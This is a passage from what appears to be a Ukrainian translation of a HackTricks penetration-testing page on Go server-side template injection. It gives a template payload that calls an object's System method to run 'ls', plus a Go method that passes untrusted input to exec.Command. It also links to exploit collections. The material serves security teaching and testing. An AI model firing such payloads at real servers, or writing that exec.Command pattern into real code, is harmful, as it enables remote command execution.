Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод System, що виконує команди, його можна експлуатувати як {{ .System "ls" }}. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Більше інформації

Більше експлойтів

Перевірте решту https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection для більше експлойтів. Також ви можете знайти цікаву інформацію про теги в https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Супутня допомога

Якщо ви вважаєте, що це може бути корисно, прочитайте:

Інструменти

Список виявлення брутфорсу

Практика та посилання

​​​RootedCON є найважливішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.

Підтримати HackTricks

Last updated